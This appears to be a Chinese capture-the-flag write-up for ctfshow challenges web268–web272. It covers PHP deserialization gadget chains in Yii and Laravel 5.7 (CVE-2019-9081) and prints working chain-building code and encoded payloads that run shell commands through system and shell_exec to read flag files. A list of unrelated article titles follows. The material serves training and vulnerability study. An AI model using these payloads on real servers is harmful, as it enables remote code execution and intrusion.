namespace {use \yii\db\BatchQueryResult;$exp = new BatchQueryResult();echo(base64_encode(serialize($exp)));
}
/index.php?view-source&r=backdoor/shell
&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czoxMDoic2hlbGxfZXhlYyI7czoyOiJpZCI7czoxNToiY3AgL2YqIG15M24udHh0Ijt9aToxO3M6MzoicnVuIjt9fX0

解释:

class DbSession extends MultiFieldSession{public function writeSession($id, $data){try {if ($this->writeCallback && !$this->fields) {$this->fields = $this->composeFields();}

跟进$this->composeFields()

abstract class MultiFieldSession extends Session{protected function composeFields($id = null, $data = null){$fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];if ($id !== null) {$fields['id'] = $id;}if ($data !== null) {$fields['data'] = $data;}return $fields;}

执行了call_user_func无参调用对象方法

call_user_func([new IndexAction(), "run"],$this);

执行 IndexAction 的 run 方法,$this被设置为了参数,但是被忽略了

web269

同上

web270

同上

web271

<?php
define('LARAVEL_START', microtime(true));
require __DIR__ . '/../vendor/autoload.php';
$app = require_once __DIR__ . '/../bootstrap/app.php';
$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle($request = Illuminate\Http\Request::capture()
);
@unserialize($_POST['data']);
highlight_file(__FILE__);
$kernel->terminate($request, $response);

考点:Laravel5.7反序列化漏洞
CVE-2019-9081

<?php
namespace Illuminate\Foundation\Testing{class PendingCommand{protected $app;protected $command;protected $parameters;public $test;public function __construct($test,$app){$this->command="system";$this->parameters[]="cat<>/flag";$this->test=$test;$this->app = $app;}}
}
namespace Faker{class DefaultGenerator{protected $default;public function __construct($default){$this->default =$default;}}
}
namespace Illuminate\Foundation{class Application{protected $instances = [];public function __construct($instances = []){$this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;}}
}namespace {use Illuminate\Foundation\Testing\PendingCommand;use Faker\DefaultGenerator;use Illuminate\Foundation\Application;$default = new DefaultGenerator(array('kb'=>'aaa'));$app = new Application();$application = new Application($app);$pend = new PendingCommand($default,$application);echo urlencode(serialize($pend));
}

POST:

data=O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00instances%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00instances%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A0%3A%7B%7D%7D%7D%7D%7Ds%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22cat%3C%3E%2Fflag%22%3B%7Ds%3A4%3A%22test%22%3BO%3A22%3A%22Faker%5CDefaultGenerator%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00default%22%3Ba%3A1%3A%7Bs%3A2%3A%22kb%22%3Bs%3A3%3A%22aaa%22%3B%7D%7D%7D

web272?

<?php
namespace Faker{class Generator{protected $formatters;public function __construct(){$this -> formatters = ['dispatch' => 'system'];}}
}
namespace Illuminate\Broadcasting{use Faker\Generator;class PendingBroadcast{protected $events;protected $event;public function __construct(){$this -> events = new Generator();$this -> event = 'nl /flag';}}$a = new PendingBroadcast();$res = serialize($a);echo base64_encode($res);
}

web273

同上

web274


web275


web276


web277


web278


http://www.jsqmd.com/news/1000947/

相关文章:

  • 5分钟掌握终极HTML转Word工具:html-to-docx完全指南
  • 温州闲置奢品二手包钻石首饰上门回收靠谱吗?本地7家优质门店全解析 2026实时行情 - 速递信息
  • HCS08 CPU核心深度解析:寻址模式、中断处理与指令集优化实战
  • 营收增长42%:品牌羽绒服贴牌加工厂哪家好? - 速递信息
  • 深入解析MC9S08SH8 ADC模块:从寄存器配置到低功耗实战
  • WEB入门——SSRF
  • 终极Windows 10 OneDrive卸载指南:三步告别系统卡顿与空间占用
  • 2026品牌羽绒服贴牌加工厂哪家好?睿牛制衣23年高端代工值得选 - 速递信息
  • Ofd2Pdf:彻底解决OFD格式兼容性难题的专业转换工具
  • 微积分期末笔记(我已急哭)
  • 2026北京翡翠回收防坑技巧:附五家门店实拍对比,教你找出最省心的一家 - 奢侈品回收测评
  • 多维聚合中的数据操作:切片钻取旋转滚动实战指南
  • 5分钟掌握d2s-editor:暗黑2存档修改的终极免费工具
  • 2026广深佛莞夏令营品牌盘点 综合实力优质营地推荐 - 13724980961
  • 每日AI新闻推送 | 2026年6月12日
  • WEB入门——SSTI
  • Mesen模拟器:终极NES/Famicom怀旧游戏体验完全指南
  • 2026年6月郴州黄金奢侈品回收实时行情与正规机构排名指南 - 小仙贝贝
  • Google与ChatGPT协同工作流:搜索与理解的分工实践
  • MC9S08SH8时钟系统与IIC通信:原理、配置与实战调试指南
  • i.MX 8QuadXPlus MEK开发指南:多核异构架构与嵌入式系统实战
  • MPC8323E MII/RMII接口硬件设计:电气与时序规范详解
  • Jupyter中用%%manim魔法命令实时写代码、即时看动画效果
  • 别再只盯着FedAvg了!聊聊横向联邦学习里,P2P架构和C/S架构到底该怎么选?
  • 如何快速解决vmulti虚拟HID驱动的3大常见问题:完整指南
  • STM32迎宾机器人Keil工程包:含uGUI界面、原理图与PCB文件
  • 终极指南:LyricsX - 如何在macOS上完美显示桌面歌词的完整教程
  • MLflow PyFunc模型生产部署实战:FastAPI+Gunicorn+K8s全链路指南
  • 如何快速清理重复照片:智能去重工具的完整指南
  • W25Q128芯片双模式SPI驱动源码:兼容裸机与RTOS,支持STM32/GD32/LPC17xx平台